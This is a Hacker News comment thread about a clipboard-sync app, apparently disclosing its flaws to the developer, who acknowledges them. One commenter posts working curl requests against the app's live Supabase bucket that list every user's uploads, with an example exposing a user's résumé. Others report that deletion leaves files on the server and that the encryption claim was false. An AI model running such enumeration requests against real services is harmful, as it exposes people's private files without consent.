On: Show HN: I built a universal clipboard that syncs realtime on multiple devices

[foltik]

Even better, you can enumerate ALL USER UPLOADS with the token you get by typing a random email into the sign-up without verification.

List all folders in the clipboard-images bucket (there's 5, guessing for each user):

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJXXXXXXXX" \
    -H "content-type: application/json" \
    -d '{"prefix": ""}' \
    | jq

List everything in a specific user's folder:

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJXXXXXXXX" \
    -H "content-type: application/json" \
    -d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
    | jq

For example:

  {
    "name": "1766836115975-Gopal_Resume.pdf",
    "id": "7ba4b09f-a0ab-4ce1-ae04-dc664be25b0f",
    "updated_at": "2025-12-27T11:48:36.761Z",
    "created_at": "2025-12-27T11:48:36.761Z",
    "last_accessed_at": "2025-12-27T11:48:36.761Z",
    "metadata": {
      "eTag": "\"eb528546d014c8756fc1d0fedc252cff\"",
      "size": 75023,
      "mimetype": "application/pdf",
      "cacheControl": "max-age=3600",
      "lastModified": "2025-12-27T11:48:37.000Z",
      "contentLength": 75023,
      "httpStatusCode": 200
    }
  }

https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...

[imgopaal → foltik]

still working on it. Storage bucket policies now restrict folder access, but listing permissions need tightening. Will update bucket policies to prevent enumeration. Thanks for the detailed curl examples—they helped identify the exact issue.

[Closi → foltik]

Extra further finding!

Deletion policy says:

> 2. How to Delete Your Account and Data You have several options to delete your account and all associated data: Through the App: If you are signed in, you can delete your account directly from the Settings page. This will permanently delete all your data including [...] all uploaded images and files

... Although I've confirmed that the reality is that it only deletes the reference to those files from your account, and the actual files are still sitting on the server (I've just saved the url and checked the file still exists after deletion).

Even after it throws a message saying everything has been permanently deleted...

This thing is an absolute security and privacy nightmare - I would not rely on any information on the website about how they handle your data, considering they said it was e2e and that was not truthful, and they have said they delete the images and that isn't true. How can anything about this be trusted after repeated untruths about how our data is handled?

Also the app seems to send several MB of data back/forward every minute when doing nothing across a socket connection which is another red flag.

[imgopaal → foltik]

Thanks for reporting this. I'm working on it

[Retr0id → foltik]

jfc lol

[foltik → Retr0id]

but $LLM said it was E2EE!!1!

[4k93n2 → foltik]

E2EE - Expected to eventually evaporate